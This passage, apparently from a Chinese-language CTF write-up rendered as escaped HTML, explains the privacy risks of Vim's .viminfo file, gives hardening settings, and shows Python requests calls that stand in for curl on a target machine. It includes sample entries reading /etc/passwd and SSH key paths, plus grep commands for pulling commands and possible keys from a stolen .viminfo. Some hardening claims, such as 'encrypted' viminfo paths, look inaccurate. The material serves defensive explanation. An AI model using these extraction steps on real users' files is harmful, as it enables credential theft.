 &lt;td&gt;&lt;strong&gt;命令历史&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;保存 &lt;code&gt;:&lt;/code&gt; 命令行模式输入的所有命令&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;搜索历史&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;记录 &lt;code&gt;/&lt;/code&gt; 和 &lt;code&gt;?&lt;/code&gt; 搜索模式的所有关键字&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;跳转位置&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;保存用户在各文件中的光标位置 (&lt;code&gt;'&lt;/code&gt; 和 ``` 标记)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;寄存器内容&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;存储复制/删除操作的临时数据 (包括未命名寄存器 &lt;code&gt;&amp;quot;&lt;/code&gt;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;缓冲区列表&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;记录最近编辑过的文件路径&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;输入行历史&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;保存命令行模式下输入的长命令片段&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="敏感信息泄露风险"&gt;&lt;strong&gt;敏感信息泄露风险&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;该文件可能暴露以下敏感信息：&lt;/p&gt;
&lt;h4 id="1-文件路径与内容"&gt;1. &lt;strong&gt;文件路径与内容&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 示例 .viminfo 片段
|4,1,48,2,1,0,1646305385,&amp;#34;~/Documents/secret_passwords.txt&amp;#34;
|4,0,34,1,0,0,1646305427,&amp;#34;:w !sudo tee %&amp;#34; # 暴露sudo操作
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;泄露路径&lt;/strong&gt;：个人文档、机密项目、密码文件的完整路径&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;命令风险&lt;/strong&gt;：&lt;code&gt;sudo&lt;/code&gt;操作、文件解密/加密命令&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-凭证与密钥片段"&gt;2. &lt;strong&gt;凭证与密钥片段&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;|4,7,1,0,1,0,1646305302,&amp;#34;/API_KEY=\&amp;#34;sk_live_&amp;#34;
|4,3,1,0,1,0,1646305351,&amp;#34;/password = \&amp;#34;Admin@2023&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;API密钥、密码等敏感文本碎片&lt;/li&gt;
&lt;li&gt;数据库连接字符串、SSH私钥片段&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-操作系统敏感数据"&gt;3. &lt;strong&gt;操作系统敏感数据&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;|4,0,32,1,0,0,1646305487,&amp;#34;:!cat /etc/passwd&amp;#34; # 系统文件操作
|4,1,41,2,1,0,1646305521,&amp;#34;~/.ssh/id_rsa&amp;#34; # 密钥文件路径
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;系统命令操作记录 (&lt;code&gt;!&lt;/code&gt; 开头的命令)&lt;/li&gt;
&lt;li&gt;SSH密钥、配置文件路径&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-隐私行为痕迹"&gt;4. &lt;strong&gt;隐私行为痕迹&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;|4,4,1,0,1,0,1646305555,&amp;#34;/salary.xlsx&amp;#34; # 财务文件
|4,1,38,2,1,0,1646305589,&amp;#34;:e ~/medical_records.txt&amp;#34; # 医疗记录
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;隐私文档访问痕迹&lt;/li&gt;
&lt;li&gt;敏感搜索历史（如个人信息、证件号等）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="安全防护措施"&gt;&lt;strong&gt;安全防护措施&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-禁用-viminfo推荐"&gt;1. 禁用 .viminfo（推荐）
&lt;/h4&gt;&lt;p&gt;在 &lt;code&gt;~/.vimrc&lt;/code&gt; 中添加：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;set viminfo=
set viminfo+=n$HOME/.vim/viminfo &amp;#34; 自定义加密路径
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-按需排除敏感信息"&gt;2. 按需排除敏感信息
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34; 不保存寄存器内容
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;set viminfo=&amp;#39;0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; 禁用搜索/命令历史
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nv"&gt;viminfo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/0,:0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34; 跳过特定寄存器 (e.g. 复制寄存器&amp;#34;&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; viminfo-&lt;span class="o"&gt;=&lt;/span&gt;r0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="3-文件权限加固"&gt;3. 文件权限加固
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;600&lt;/span&gt; ~/.viminfo &lt;span class="c1"&gt;# 仅用户可读写&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo chattr +i ~/.viminfo &lt;span class="c1"&gt;# 禁止修改 (Immutable flag)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="4-自动清理脚本"&gt;4. 自动清理脚本
&lt;/h4&gt;&lt;p&gt;创建定期清理任务 (&lt;code&gt;cron&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 每日清空 .viminfo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt; * * * &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &amp;gt; ~/.viminfo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="5-替代安全工具"&gt;5. 替代安全工具
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;工具&lt;/th&gt;
 &lt;th&gt;安全特性&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;Neovim&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;支持 &lt;code&gt;shada&lt;/code&gt; 加密 (&lt;code&gt;:h 'shada'&lt;/code&gt;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;Vim.gui&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;可完全禁用历史 (&lt;code&gt;:set viminfo=NONE&lt;/code&gt;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;Emacs&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;历史文件独立加密 (&lt;code&gt;~/.emacs.desktop.lock&lt;/code&gt;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="取证分析示例"&gt;取证分析示例
&lt;/h3&gt;&lt;p&gt;攻击者获取 &lt;code&gt;.viminfo&lt;/code&gt; 后可能提取信息：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;grep -E &amp;#39;&amp;#34;(/|!|:)&amp;#39; ~/.viminfo # 提取命令和搜索
grep &amp;#39;&amp;#34;[a-zA-Z0-9_]{20,}&amp;#39; ~/.viminfo # 查找长字符串 (可能密钥)
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
 &lt;p&gt;📌 &lt;strong&gt;关键建议&lt;/strong&gt;：在共享系统或处理敏感数据时，始终在 &lt;code&gt;vimrc&lt;/code&gt; 中配置 &lt;code&gt;set viminfo=&lt;/code&gt; ，或使用 &lt;code&gt;vim -i NONE&lt;/code&gt; 临时禁用该功能。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="用python模仿curl的方法"&gt;用Python模仿curl的方法
&lt;/h2&gt;&lt;p&gt;这个靶机中存在无法使用curl的情况，可以使用python来模仿curl的功能。在 Python 3 的交互式环境（如 &lt;code&gt;python&lt;/code&gt; shell 或 &lt;code&gt;ipython&lt;/code&gt;）中模拟 &lt;code&gt;curl&lt;/code&gt; 的功能，可以使用 &lt;code&gt;requests&lt;/code&gt; 或 &lt;code&gt;urllib&lt;/code&gt; 库。以下是完整指南：&lt;/p&gt;
&lt;h3 id="-使用-requests-库"&gt;🐍 使用 &lt;code&gt;requests&lt;/code&gt; 库
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 安装 requests（如果未安装）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;subprocess&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;requests&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check_call&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;executable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;-m&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;pip&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;install&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;requests&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 1. 发起 GET 请求（类似 curl http://example.com）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/get&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="c1"&gt;# 获取响应内容&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 2. 发起 POST 请求（类似 curl -X POST -d &amp;#34;key=value&amp;#34;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;username&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;secret&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/post&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;# 解析 JSON 响应&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 3. 自定义 Headers（类似 curl -H &amp;#34;Content-Type: application/json&amp;#34;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PyCurl/1.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;X-Custom&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/headers&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 4. 处理 Cookies（类似 curl --cookie &amp;#34;name=value&amp;#34;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/cookies&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;session&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;abc123&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 5. 文件上传（类似 curl -F &amp;#34;file=@test.txt&amp;#34;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;filename.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;test.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/post&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 6. 处理重定向（默认自动重定向，禁用类似 curl -L）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/redirect/1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allow_redirects&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 7. 超时设置（类似 curl --max-time 5）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/delay/10&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Request timed out!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="-功能对照表"&gt;📊 功能对照表
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
